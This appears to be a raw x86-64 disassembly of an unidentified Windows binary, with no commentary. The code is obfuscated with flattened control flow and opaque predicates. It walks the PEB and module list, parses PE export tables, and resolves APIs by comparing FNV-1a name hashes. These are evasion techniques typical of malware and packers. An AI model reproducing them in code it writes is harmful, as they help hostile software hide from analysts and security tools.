cmp ebx, 0x958d7e9
jle 0x1403676b0
cmp eax, 0x43cf23db
jg 0x1403676d0
cmp eax, 0x958d7ea
je 0x14036773a
cmp eax, 0x14a712fb
jne 0x140367744
mov rax, qword [rbp + 0x198]
mov r11d, dword [rax + 0x3c]
mov ebx, edx
jmp 0x140367670
cmp eax, 0xdc2154f4
jg 0x1403676f0
cmp eax, 0xb588294a
je 0x140367660
mov ebx, eax
cmp eax, 0xda4ed74b
jne 0x140367670
mov ebx, 0x9971561
jmp 0x140367670
mov ebx, ecx
cmp eax, 0x43cf23dc
je 0x140367670
mov ebx, eax
cmp eax, 0x5f40d673
jne 0x140367670
mov ebx, 0xb588294a
jmp 0x140367670
cmp eax, 0xdc2154f5
je 0x140367715
mov ebx, eax
cmp eax, 0xfe777634
jne 0x140367670
mov rax, qword [rbp + 0x198]
mov ebx, 0x14a712fb
jmp 0x140367670
movzx eax, byte [rbp + 0x178]
cmp byte [rbp + 0x188], 0
mov ebx, 0x5f40d673
mov esi, 0xb588294a
cmovne ebx, esi
test al, al
cmovne ebx, esi
jmp 0x140367670
mov ebx, 0x43cf23dc
jmp 0x140367670
mov ebx, eax
cmp eax, 0x9971561
jne 0x140367670
mov dword [rbp + 0x190], r11d
movsxd rax, dword [rbp + 0x190]
mov ecx, dword [r10 + rax + 0x88]
mov dword [rbp + 0x178], ecx
add rax, r10
add rax, 0x8c
mov qword [rbp + 0x190], rax
mov eax, 0xb4e2a26d
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x6c7afb3a
je 0x140368239
cmp eax, 0xb4e2a26d
jne 0x140367790
mov rax, qword [rbp + 0x190]
mov eax, dword [rax]
mov dword [rbp + 0x188], eax
mov eax, dword [rbp + 0x178]
add rax, r10
mov qword [rbp + 0x198], rax
mov eax, 0x6c7afb3a
jmp 0x140367790
cmp eax, 0xd6b57203
jne 0x140368436
mov eax, 0x2e8fc0cf
mov dword [rbp + 0x10c], 0
mov rcx, qword [rbp + 0x148]
mov qword [rbp + 0xa0], rcx
jmp 0x140367220
mov eax, 0xc831fa3a
jmp 0x140367220
mov eax, 0x2f80c4ea
jmp 0x140367220
mov eax, 0x2e8fc0cf
mov dword [rbp + 0x10c], 1
mov rcx, qword [rbp + 0xe8]
mov qword [rbp + 0xa0], rcx
jmp 0x140367220
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x118], rax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
mov eax, 0x55d14e4e
jmp 0x140367220
mov eax, dword [0x140ae8118]
lea edx, [rax - 1]
imul edx, eax
mov eax, dword [0x140ae811c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae8120], 0xa
setl cl
or cl, al
mov edi, 0xc34c4d35
mov eax, 0xda384f69
cmovne edi, eax
mov ecx, 0xc34c4d35
mov eax, 0xcef4daed
cmovne ecx, eax
test dl, 1
sete byte [rbp + 0x174]
mov edx, dword [0x140ae8124]
mov ebx, 0x66882932
mov eax, 0x3116d75d
cmove ebx, eax
cmp edx, 0xa
setl byte [rbp + 0x160]
cmovl ebx, eax
mov edx, 0x8beff44c
nop word cs:[rax + rax]
nop
cmp edx, 0x3116d75c
jle 0x140367910
cmp edx, 0x3116d75d
je 0x1403679bf
cmp edx, 0x66882932
je 0x1403679c9
cmp edx, 0x6c540096
jne 0x1403678e0
jmp 0x1403683d6
cmp edx, 0x8beff44c
je 0x1403679d3
cmp edx, 0xed5b005a
je 0x1403679f7
cmp edx, 0x15bf159a
jne 0x1403678e0
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x178]
mov rax, qword [rax]
mov qword [rbp + 0x190], rax
mov edx, 0xdb406100
nop word cs:[rax + rax]
nop
cmp edx, 0xda384f68
jle 0x1403679a0
cmp edx, 0xda384f69
je 0x1403679fe
cmp edx, 0xc5b6513
je 0x1403679b4
cmp edx, 0xdb406100
jne 0x140367960
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
mov qword [rbp + 0x198], rax
mov edx, 0xc5b6513
jmp 0x140367960
cmp edx, 0xc34c4d35
je 0x1403679b8
cmp edx, 0xcef4daed
jne 0x140367960
mov edx, edi
jmp 0x140367960
mov edx, ecx
jmp 0x140367960
mov edx, 0xcef4daed
jmp 0x140367960
mov edx, 0x15bf159a
jmp 0x1403678e0
mov edx, 0xed5b005a
jmp 0x1403678e0
mov al, byte [rbp + 0x174]
cmp byte [rbp + 0x160], 0
mov edx, 0x66882932
mov esi, 0xed5b005a
cmovne edx, esi
test al, al
cmovne edx, esi
jmp 0x1403678e0
mov edx, ebx
jmp 0x1403678e0
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x188], rax
mov edx, 0x6c540096
jmp 0x1403678e0
mov eax, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x15c]
mov eax, 0x704c8eed
jmp 0x140367220
mov rcx, qword [rbp + 0x118]
mov eax, dword [rbp + 0x12c]
mov rdx, qword [rcx]
mov qword [rbp + 0x178], rdx
mov rcx, qword [rcx + 8]
mov edx, dword [rcx + 0x1c]
add rdx, qword [rbp + 0x178]
mov qword [rbp + 0x188], rdx
mov ecx, dword [rcx + 0x24]
add rcx, qword [rbp + 0x178]
mov qword [rbp + 0x190], rcx
mov ecx, 0xa7e038c0
nop word [rax + rax]
cmp ecx, 0xa3a28b43
je 0x1403683f8
cmp ecx, 0xa7e038c0
jne 0x140367a80
mov rcx, qword [rbp + 0x190]
movzx ecx, word [rcx + rax*2]
shl rcx, 2
add rcx, qword [rbp + 0x188]
mov qword [rbp + 0x198], rcx
mov ecx, 0xa3a28b43
jmp 0x140367a80
cmp byte [rbp + 0x173], 0
mov eax, 0xd6b57203
mov ecx, 0x470a4e5f
cmovne eax, ecx
jmp 0x140367220
mov qword [rbp + 0x90], r14
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x198]
mov eax, dword [rax + rcx*4]
add rax, qword [rbp + 0x188]
mov qword [rbp + 0x78], rax
mov eax, dword [0x140ae8128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae812c], 0xa
setl cl
or cl, al
mov eax, dword [0x140ae8130]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x140ae8134], 0xa
setl dl
or dl, al
mov r8d, 0xa8c1e4bc
mov eax, 0x162d485e
cmovne r8d, eax
mov r13d, 0xa8c1e4bc
mov eax, 0x3bfdfa96
cmovne r13d, eax
mov r10d, 0xcbec2657
mov eax, 0x3d103833
cmovne r10d, eax
mov edx, 0xcbec2657
mov eax, 0x97d6b74c
cmovne edx, eax
test cl, cl
mov r11d, 0x7c4755d
mov eax, 0xb69743ae
cmovne r11d, eax
mov ecx, 0x7c4755d
mov eax, 0xb10b2499
cmovne ecx, eax
mov dword [rbp + 0x80], ecx
mov ecx, 0x803f1b2f
mov eax, 0x1e021d7e
cmovne ecx, eax
mov dword [rbp + 0xd0], ecx
mov ecx, 0x803f1b2f
mov eax, 0xe91aaf98
cmovne ecx, eax
mov dword [rbp + 0xd4], ecx
mov r14d, 0x1779598e
mov eax, 0x163a0f30
cmovne r14d, eax
mov ebx, 0x1779598e
mov eax, 0xd3c21c63
cmovne ebx, eax
mov dword [rbp + 0xcc], ebx
mov ebx, 0x17e69b4a
mov eax, 0x89a14e6f
cmovne ebx, eax
mov dword [rbp + 0xd8], ebx
mov r9d, 0x17e69b4a
mov eax, 0xb3ac832
cmovne r9d, eax
mov ebx, 0xe098d522
mov dword [rbp + 0xdc], r14d
jmp 0x140367c40
mov dword [rbp + 0x128], r15d
mov eax, dword [rbp + 0x100]
mov dword [rbp + 0x154], eax
mov rax, qword [rbp + 0xf8]
mov qword [rbp + 0x198], rax
mov ebx, dword [rbp + 0xd4]
nop dword [rax + rax]
mov edi, ebx
cmp ebx, 0x7c4755c
jle 0x140367ed0
cmp edi, 0x17e69b49
jle 0x140367fa0
cmp edi, 0x473e8a80
jg 0x140367fdc
cmp edi, 0x17e69b4a
je 0x14036813e
cmp edi, 0x1e021d7e
je 0x1403680a7
mov ebx, edi
cmp edi, 0x237bb451
jne 0x140367c40
mov dword [rbp + 0x134], r15d
mov dword [rbp + 0x130], esi
mov esi, r11d
movsx r14d, byte [rbp + 0x187]
mov r15d, dword [rbp + 0x154]
mov r11d, 0xd81fc671
jmp 0x140367cd0
mov eax, dword [rbp + 0x188]
mov eax, dword [rbp + 0x188]
mov eax, dword [rbp + 0x188]
mov eax, dword [rbp + 0x188]
mov r11d, 0x3bfdfa96
nop dword [rax]
mov eax, r11d
cmp r11d, 0x3bfdfa95
jle 0x140367d20
cmp eax, 0x491c42a4
jle 0x140367d80
cmp eax, 0x5ae5fef5
jg 0x140367dbf
cmp eax, 0x491c42a5
je 0x140367e1b
mov r11d, eax
cmp eax, 0x49f89684
jne 0x140367cd0
mov dword [rbp + 0x188], ebx
mov r11d, r13d
jmp 0x140367cd0
cmp eax, 0xa8c1e4bb
jle 0x140367d50
cmp eax, 0xd81fc670
jg 0x140367dee
cmp eax, 0xa8c1e4bc
je 0x140367caf
mov r11d, eax
cmp eax, 0xcbec2657
jne 0x140367cd0
mov r11d, 0x97d6b74c
jmp 0x140367cd0
mov r11d, edx
cmp eax, 0x857613f4
je 0x140367cd0
cmp eax, 0x91fe2f04
je 0x140367e47
mov r11d, eax
cmp eax, 0x97d6b74c
jne 0x140367cd0
mov r11d, r10d
jmp 0x140367cd0
cmp eax, 0x3bfdfa96
je 0x140367e62
cmp eax, 0x3d103833
je 0x140367e79
mov r11d, eax
cmp eax, 0x43d862de
jne 0x140367cd0
cmp byte [rbp + 0x16f], 0
mov r11d, 0x5ae5fef6
mov eax, 0x491c42a5
cmovne r11d, eax
jmp 0x140367cd0
cmp eax, 0x5ae5fef6
je 0x140367e36
mov r11d, eax
cmp eax, 0x73385a14
jne 0x140367cd0
mov eax, dword [rbp + 0x174]
or eax, 0x20
mov dword [rbp + 0x160], eax
mov r11d, 0x857613f4
jmp 0x140367cd0
cmp eax, 0xd81fc671
jne 0x140367e8a
mov dword [rbp + 0x174], r14d
mov eax, dword [rbp + 0x174]
cmp eax, 0x41
setge byte [rbp + 0x16f]
mov r11d, 0x43d862de
jmp 0x140367cd0
mov eax, dword [rbp + 0x174]
cmp eax, 0x5b
setl byte [rbp + 0x16e]
mov r11d, 0x91fe2f04
jmp 0x140367cd0
mov r11d, 0x49f89684
mov ebx, dword [rbp + 0x174]
jmp 0x140367cd0
cmp byte [rbp + 0x16e], 0
mov r11d, 0x5ae5fef6
mov eax, 0x73385a14
cmovne r11d, eax
jmp 0x140367cd0
mov eax, dword [rbp + 0x188]
xor eax, r15d
imul edi, eax, 0x1000193
mov r11d, r8d
jmp 0x140367cd0
mov r11d, 0x49f89684
mov ebx, dword [rbp + 0x160]
jmp 0x140367cd0
mov r11d, eax
cmp eax, 0x162d485e
jne 0x140367cd0
mov dword [rbp + 0x178], edi
mov eax, dword [rbp + 0x178]
mov dword [rbp + 0xc0], eax
mov ebx, 0x91995dcd
mov r11d, esi
mov r14d, dword [rbp + 0xdc]
mov esi, dword [rbp + 0x130]
mov r15d, dword [rbp + 0x134]
jmp 0x140367c40
cmp edi, 0xb10b2498
jg 0x140367f20
cmp edi, 0x89a14e6e
jle 0x14036800d
cmp edi, 0x89a14e6f
je 0x1403680d8
cmp edi, 0x8f1ff919
je 0x140367c14
mov ebx, edi
cmp edi, 0x91995dcd
jne 0x140367c40
mov ebx, dword [rbp + 0x80]
jmp 0x140367c40
cmp edi, 0xd3c21c62
jle 0x140368040
mov ebx, r14d
cmp edi, 0xd3c21c63
je 0x140367c40
mov ebx, r9d
cmp edi, 0xe098d522
je 0x140367c40
mov ebx, edi
cmp edi, 0xe91aaf98
jne 0x140367c40
mov rax, qword [rbp + 0x198]
add rax, 1
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x198]
mov al, byte [rax]
mov byte [rbp + 0x187], al
cmp byte [rbp + 0x187], 0
setne byte [rbp + 0x170]
mov ebx, dword [rbp + 0xd0]
jmp 0x140367c40
cmp edi, 0xe81cf2c
jle 0x140368067
cmp edi, 0xe81cf2d
je 0x1403680ec
cmp edi, 0x163a0f30
je 0x140368088
mov ebx, edi
cmp edi, 0x1779598e
jne 0x140367c40
mov ebx, 0xd3c21c63
jmp 0x140367c40
cmp edi, 0x4952a100
je 0x140368108
mov ebx, dword [rbp + 0xcc]
cmp edi, 0x574b71b6
je 0x140367c40
mov ebx, edi
cmp edi, 0x473e8a81
jne 0x140367c40
jmp 0x140368419
cmp edi, 0x803f1b2f
je 0x1403680c0
mov ebx, edi
cmp edi, 0x81b25ea0
jne 0x140367c40
mov r12d, dword [rbp + 0xc0]
mov ebx, 0x4952a100
xor ecx, ecx
mov esi, dword [rbp + 0x128]
jmp 0x140367c40
mov ebx, r11d
cmp edi, 0xb10b2499
je 0x140367c40
mov ebx, edi
cmp edi, 0xb69743ae
jne 0x140367c40
mov ebx, 0x81b25ea0
jmp 0x140367c40
cmp edi, 0x7c4755d
je 0x1403680e2
mov ebx, edi
cmp edi, 0xb3ac832
jne 0x140367c40
mov ebx, dword [rbp + 0xd8]
jmp 0x140367c40
mov ebx, 0x8f1ff919
mov dword [rbp + 0x100], 0x811c9dc5
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0xf8], rax
jmp 0x140367c40
cmp byte [rbp + 0x170], 0
mov ebx, 0xe81cf2d
mov eax, 0x237bb451
cmovne ebx, eax
jmp 0x140367c40
mov rax, qword [rbp + 0x198]
mov rax, qword [rbp + 0x198]
mov ebx, 0xe91aaf98
jmp 0x140367c40
mov ebx, 0x574b71b6
jmp 0x140367c40
mov ebx, 0xb10b2499
jmp 0x140367c40
mov r12d, dword [rbp + 0x154]
mov ebx, 0x4952a100
mov ecx, 1
mov esi, dword [rbp + 0x154]
jmp 0x140367c40
mov dword [rbp + 0x158], esi
test ecx, ecx
mov ebx, 0x473e8a81
mov eax, 0x8f1ff919
cmove ebx, eax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0xf8], rax
mov r15d, dword [rbp + 0x158]
mov dword [rbp + 0x100], r12d
jmp 0x140367c40
mov ebx, 0xb3ac832
jmp 0x140367c40
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0xe8], rax
mov eax, 0xb8886506
jmp 0x140367220
mov eax, dword [rbp + 0xa8]
mov dword [rbp + 0x15c], eax
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdfce91c3
mov ecx, 0x704c8eed
jmp 0x140367210
mov eax, 0x38ffed7e
jmp 0x140367220
mov edx, dword [rbp + 0x10c]
test edx, edx
mov eax, 0x18c9d93
mov ecx, 0xb2fd6b3c
cmove eax, ecx
mov dword [rbp + 0x108], edx
mov rcx, qword [rbp + 0xa0]
mov qword [rbp + 0x98], rcx
mov qword [rbp + 0xb0], rcx
jmp 0x140367220
mov rax, qword [rbp + 0x98]
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x138]
cmp dword [rbp + 0x108], 0
mov eax, 0xc831fa3a
mov ecx, 0x14c956a0
cmove eax, ecx
mov rcx, qword [rbp + 0x110]
jmp 0x140367220
mov eax, dword [rbp + 0x15c]
add eax, 0xffffffff
mov dword [rbp + 0x12c], eax
cmp dword [rbp + 0x15c], 0
setne byte [rbp + 0x173]
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdfce91c3
mov ecx, 0x31b142dd
jmp 0x140367210
mov rax, qword [rbp + 0x198]
mov qword [r8 + 8], rax
mov eax, dword [rbp + 0x188]
mov dword [r8 + 0x10], eax
mov rax, qword [rbp + 0x118]
mov ecx, dword [0x140ae8138]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp + 0x188]
mov ecx, dword [0x140ae813c]
sete dl
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x190]
mov r8, qword [rax]
or cl, dl
mov ecx, 0x5ffb31d3
mov edx, 0x1ca53357
cmovne ecx, edx
mov r10, qword [rax + 8]
mov eax, 0x5ffb31d3
mov edx, 0xac60f90c
cmovne eax, edx
mov edi, 0xeeead46
mov edx, 0x3d145519
cmovne edi, edx
mov ebx, 0x9f42beca
jmp 0x1403682c0
mov ebx, 0x1fb628eb
nop dword [rax]
mov esi, ebx
cmp ebx, 0x1fb628ea
jg 0x140368300
cmp esi, 0xd2cc2d7a
jle 0x140368320
cmp esi, 0xeeead46
je 0x14036838d
cmp esi, 0x1ca53357
jne 0x140368397
mov ebx, 0xd2cc2d7b
jmp 0x1403682c0
cmp esi, 0x3d145518
jg 0x140368340
mov ebx, eax
cmp esi, 0x1fb628eb
je 0x1403682c0
mov ebx, esi
cmp esi, 0x349a2816
jne 0x1403682c0
mov ebx, edi
jmp 0x1403682c0
cmp esi, 0x9f42beca
je 0x140368364
mov ebx, esi
cmp esi, 0xac60f90c
jne 0x1403682c0
mov ebx, ecx
jmp 0x1403682c0
cmp esi, 0x3d145519
je 0x1403682b8
mov ebx, esi
cmp esi, 0x5ffb31d3
jne 0x1403682c0
mov ebx, 0xac60f90c
jmp 0x1403682c0
movzx edx, byte [rbp + 0x188]
cmp byte [rbp + 0x190], 0
mov esi, 0x349a2816
mov ebx, 0x349a2816
jne 0x140368383
mov ebx, 0xeeead46
test dl, dl
cmovne ebx, esi
jmp 0x1403682c0
mov ebx, 0x349a2816
jmp 0x1403682c0
mov ebx, esi
cmp esi, 0xd2cc2d7b
jne 0x1403682c0
cmp r10, r8
setne byte [rbp + 0x198]
cmp byte [rbp + 0x198], 0
mov eax, 0xb2fd6b3c
mov ecx, 0xf40e2635
cmovne eax, ecx
mov rcx, qword [rbp + 0x148]
mov qword [rbp + 0xb0], rcx
jmp 0x140367220
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x188]
mov qword [rax], rcx
mov byte [rbp + 0x171], 1
mov eax, 0xfc3de4fb
jmp 0x140367220
mov rax, qword [rbp + 0x198]
mov eax, dword [rax]
add rax, qword [rbp + 0x178]
mov qword [rbp + 0x140], rax
mov eax, 0xa24d1d27
jmp 0x140367220
mov eax, dword [rbp + 0x158]
mov dword [rbp + 0xc4], eax
mov eax, 0xc329a2b3
mov r14, qword [rbp + 0x90]
jmp 0x140367220
cmp eax, 0xc831fa3a
jne 0x140367220
jmp 0x14036a404
mov eax, dword [0x140ae8140]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae8144], 0xa
setl cl
or cl, al
mov ecx, 0x1dfac00b
mov eax, 0x3cf63a48
cmovne ecx, eax
mov dword [rbp + 0x130], ecx
mov ecx, 0x1dfac00b
mov eax, 0x7b5ba97d
cmovne ecx, eax
mov dword [rbp + 0x134], ecx
mov eax, dword [0x140ae8148]
mov edx, dword [0x140ae814c]
lea ecx, [rax - 1]
imul ecx, eax
mov dword [rbp + 0xf8], ecx
test cl, 1
sete cl
mov dword [rbp + 0x100], edx
cmp edx, 0xa
setl dl
mov eax, dword [0x140ae8150]
mov r10d, dword [0x140ae8154]
lea r15d, [rax - 1]
imul r15d, eax
test r15b, 1
sete al
cmp r10d, 0xa
setl bl
or bl, al
mov eax, 0x1806efec
mov ebx, 0x2d12b554
cmovne eax, ebx
mov r11d, 0x1806efec
mov ebx, 0xc7e4f419
cmovne r11d, ebx
mov r13d, 0x50ecbf49
mov ebx, 0xb7bc901d
cmovne r13d, ebx
mov esi, 0x50ecbf49
mov ebx, 0xe073d505
cmovne esi, ebx
mov r14d, 0xb58a2df5
mov ebx, 0xb79c9156
cmovne r14d, ebx
or dl, cl
mov r9d, 0x40dbb7c4
mov ecx, 0xa9b92767
cmovne r9d, ecx
mov r8d, 0x40dbb7c4
mov ecx, 0xc7078832
cmovne r8d, ecx
mov r12d, 0x7282843
mov ecx, 0x15d8b3b5
cmovne r12d, ecx
mov ecx, 0x95071535
nop
cmp ecx, 0x1dfac00a
jle 0x140368590
cmp ecx, 0x1dfac00b
je 0x140368a89
cmp ecx, 0x3cf63a48
je 0x1403671f0
cmp ecx, 0x7b5ba97d
jne 0x140368560
mov ecx, dword [rbp + 0x130]
jmp 0x140368560
cmp ecx, 0x85e56079
je 0x140368a93
cmp ecx, 0x95071535
jne 0x140368560
test byte [rbp + 0xf8], 1
sete byte [rbp + 0x128]
cmp dword [rbp + 0x100], 0xa
setl byte [rbp + 0x154]
mov edx, 0x7245ccbf
jmp 0x1403685e0
mov rcx, qword [rbp + 0x178]
mov edx, 0xc7078832
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, edx
cmp edx, 0x12477acc
jg 0x140368620
cmp ecx, 0xeb677b59
jg 0x140368650
cmp ecx, 0xc5530a32
je 0x140368891
cmp ecx, 0xc7078832
jne 0x140368a63
mov rcx, qword [rbp + 0x178]
mov qword [rbp + 0x188], rcx
mov edx, r9d
jmp 0x1403685e0
cmp ecx, 0x40dbb7c3
jg 0x140368820
cmp ecx, 0x12477acd
je 0x14036885e
mov edx, ecx
cmp ecx, 0x15d8b3b5
jne 0x1403685e0
mov edx, 0x12477acd
jmp 0x1403685e0
mov edx, r8d
cmp ecx, 0xeb677b5a
je 0x1403685e0
mov edx, ecx
cmp ecx, 0x7282843
jne 0x1403685e0
test r15b, 1
sete byte [rbp + 0x158]
cmp r10d, 0xa
setl byte [rbp + 0x174]
mov ecx, 0xe6aa786e
jmp 0x140368690
test bl, bl
cmovne ecx, edi
nop dword [rax + rax]
mov edi, ecx
cmp ecx, 0xe6aa786d
jg 0x1403686d0
cmp edi, 0xb7bc901c
jg 0x140368700
mov ecx, r11d
cmp edi, 0xa6904a62
je 0x140368690
cmp edi, 0xb58a2df5
je 0x1403687a8
mov ecx, edi
cmp edi, 0xb79c9156
jne 0x140368690
mov ecx, 0x2bd10b98
jmp 0x140368690
cmp edi, 0x2d12b553
jg 0x140368733
cmp edi, 0xe6aa786e
je 0x14036875b
cmp edi, 0x1806efec
je 0x14036879e
mov ecx, edi
cmp edi, 0x2bd10b98
jne 0x140368690
mov ecx, esi
jmp 0x140368690
cmp edi, 0xb7bc901d
je 0x140368783
mov ecx, eax
cmp edi, 0xc7e4f419
je 0x140368690
mov ecx, edi
cmp edi, 0xe073d505
jne 0x140368690
mov rdx, qword [rbp + 0x190]
mov ecx, r13d
jmp 0x140368690
cmp edi, 0x50ecbf49
je 0x14036878d
cmp edi, 0x7e9a4a9e
jne 0x1403687bb
mov rcx, qword gs:[0x60]
mov qword [rbp + 0x190], rcx
mov ecx, r14d
jmp 0x140368690
movzx ebx, byte [rbp + 0x158]
cmp byte [rbp + 0x174], 0
mov edi, 0x7e9a4a9e
mov ecx, 0x7e9a4a9e
jne 0x140368686
mov ecx, 0xb58a2df5
jmp 0x140368686
mov ecx, 0xa6904a62
jmp 0x140368690
mov rcx, qword [rbp + 0x190]
mov ecx, 0xe073d505
jmp 0x140368690
mov ecx, 0xc7e4f419
jmp 0x140368690
mov rcx, qword gs:[0x60]
mov ecx, 0x7e9a4a9e
jmp 0x140368690
mov ecx, edi
cmp edi, 0x2d12b554
jne 0x140368690
mov qword [rbp + 0x198], rdx
mov rcx, qword [rbp + 0x198]
mov qword [rbp + 0x190], rcx
mov edx, 0x8546b22b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3876635d
je 0x140368879
cmp edx, 0x8546b22b
jne 0x1403687f0
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx + 0x18]
mov edx, 0x3876635d
jmp 0x1403687f0
cmp ecx, 0x40dbb7c4
je 0x1403685c7
mov edx, ecx
cmp ecx, 0x7245ccbf
jne 0x1403685e0
mov cl, byte [rbp + 0x128]
cmp byte [rbp + 0x154], 0
mov edx, 0x7282843
mov ebx, 0xc5530a32
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
jmp 0x1403685e0
mov rcx, qword [rbp + 0x160]
mov rcx, qword [rcx]
mov qword [rbp + 0x178], rcx
mov edx, 0xeb677b5a
jmp 0x1403685e0
mov qword [rbp + 0x198], rcx
mov rcx, qword [rbp + 0x198]
mov edx, 0xc5530a32
jmp 0x1403685e0
test r15b, 1
sete byte [rbp + 0x158]
mov ebx, r10d
cmp r10d, 0xa
setl byte [rbp + 0x174]
mov edi, 0xe6aa786e
jmp 0x1403688c0
test cl, cl
cmovne edi, edx
nop word cs:[rax + rax]
mov edx, edi
cmp edi, 0xe6aa786d
jg 0x140368900
cmp edx, 0xb7bc901c
jg 0x140368930
mov edi, r11d
cmp edx, 0xa6904a62
je 0x1403688c0
cmp edx, 0xb58a2df5
je 0x1403689d8
mov edi, edx
cmp edx, 0xb79c9156
jne 0x1403688c0
mov edi, 0x2bd10b98
jmp 0x1403688c0
cmp edx, 0x2d12b553
jg 0x140368963
cmp edx, 0xe6aa786e
je 0x14036898b
cmp edx, 0x1806efec
je 0x1403689ce
mov edi, edx
cmp edx, 0x2bd10b98
jne 0x1403688c0
mov edi, esi
jmp 0x1403688c0
cmp edx, 0xb7bc901d
je 0x1403689b3
mov edi, eax
cmp edx, 0xc7e4f419
je 0x1403688c0
mov edi, edx
cmp edx, 0xe073d505
jne 0x1403688c0
mov r10, qword [rbp + 0x190]
mov edi, r13d
jmp 0x1403688c0
cmp edx, 0x50ecbf49
je 0x1403689bd
cmp edx, 0x7e9a4a9e
jne 0x1403689eb
mov rcx, qword gs:[0x60]
mov qword [rbp + 0x190], rcx
mov edi, r14d
jmp 0x1403688c0
movzx ecx, byte [rbp + 0x158]
cmp byte [rbp + 0x174], 0
mov edx, 0x7e9a4a9e
mov edi, 0x7e9a4a9e
jne 0x1403688b1
mov edi, 0xb58a2df5
jmp 0x1403688b1
mov edi, 0xa6904a62
jmp 0x1403688c0
mov rcx, qword [rbp + 0x190]
mov edi, 0xe073d505
jmp 0x1403688c0
mov edi, 0xc7e4f419
jmp 0x1403688c0
mov rcx, qword gs:[0x60]
mov edi, 0x7e9a4a9e
jmp 0x1403688c0
mov edi, edx
cmp edx, 0x2d12b554
jne 0x1403688c0
mov qword [rbp + 0x198], r10
mov rcx, qword [rbp + 0x198]
mov qword [rbp + 0x190], rcx
mov edx, 0x8546b22b
mov r10d, ebx
nop word cs:[rax + rax]
cmp edx, 0x3876635d
je 0x140368a42
cmp edx, 0x8546b22b
jne 0x140368a20
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx + 0x18]
mov edx, 0x3876635d
jmp 0x140368a20
mov qword [rbp + 0x198], rcx
mov rcx, qword [rbp + 0x198]
add rcx, 0x10
mov qword [rbp + 0x160], rcx
mov edx, r12d
jmp 0x1403685e0
mov edx, ecx
cmp ecx, 0xa9b92767
jne 0x1403685e0
mov rcx, qword [rbp + 0x188]
mov qword [rbp + 0xe0], rcx
mov ecx, 0x85e56079
jmp 0x140368560
mov ecx, 0x7b5ba97d
jmp 0x140368560
mov ecx, dword [rbp + 0x134]
jmp 0x140368560
cmp eax, 0x62f157ce
je 0x14036715d
cmp eax, 0x75ad9735
jne 0x14036a484
mov eax, 0xc5b26aa3
jmp 0x140367183
cmp eax, 0x8c435fca
je 0x14036a41c
cmp eax, 0xb8d9c8bd
jne 0x140367183
mov eax, dword [0x140ae0930]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7a0a639a
mov ecx, 0x1451db43
jmp 0x140367176
mov eax, 0x62f157ce
jmp 0x140367183
mov eax, dword [0x140ae0930]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf65e0237
mov ecx, 0xdc650d0d
jmp 0x140367176
mov qword [rbp + 0x30], rsp
mov eax, 0xfdaaf27
jmp 0x140368b35
mov eax, 0x7e25d310
jmp 0x140368b60
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e9056d5
mov ecx, 0x19c143a2
cmove eax, ecx
cmp dword [0x140ae8104], 0xa
cmovl eax, ecx
nop dword [rax]
cmp eax, 0xfdaaf26
jg 0x140368bc0
cmp eax, 0xdfce91c2
jle 0x140368c00
cmp eax, 0xfbaed13e
jle 0x140368ca3
cmp eax, 0x18c9d92
jg 0x140368ed2
cmp eax, 0xfbaed13f
je 0x140369145
cmp eax, 0xfc3de4fb
jne 0x140368b60
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e9056d5
mov ecx, 0x38ffed7e
jmp 0x140368b50
cmp eax, 0x31b142dc
jle 0x140368c50
cmp eax, 0x4ca3889a
jle 0x140368ddc
cmp eax, 0x704c8eec
jg 0x140368f0d
cmp eax, 0x4ca3889b
je 0x140369158
cmp eax, 0x55d14e4e
je 0x140369db0
jmp 0x140368b60
cmp eax, 0xb8886505
jle 0x140368e58
cmp eax, 0xc831fa39
jg 0x140369118
cmp eax, 0xb8886506
je 0x140369162
cmp eax, 0xc329a2b3
jne 0x140368b60
mov eax, dword [rbp + 0xc4]
cmp eax, 0xcded1a85
sete byte [rbp + 0x172]
mov eax, 0xe1148b9
jmp 0x140368b60
cmp eax, 0x1e9056d4
jg 0x140368e9b
cmp eax, 0xfdaaf27
je 0x140369184
cmp eax, 0x14c956a0
je 0x1403691ba
cmp eax, 0x19c143a2
jne 0x140368b60
cmp byte [rbp + 0x171], 0
mov eax, 0xfbaed13f
mov ecx, 0x7e25d310
cmovne eax, ecx
mov rcx, qword [rbp + 0x110]
mov qword [rbp + 0x88], rcx
jmp 0x140368b60
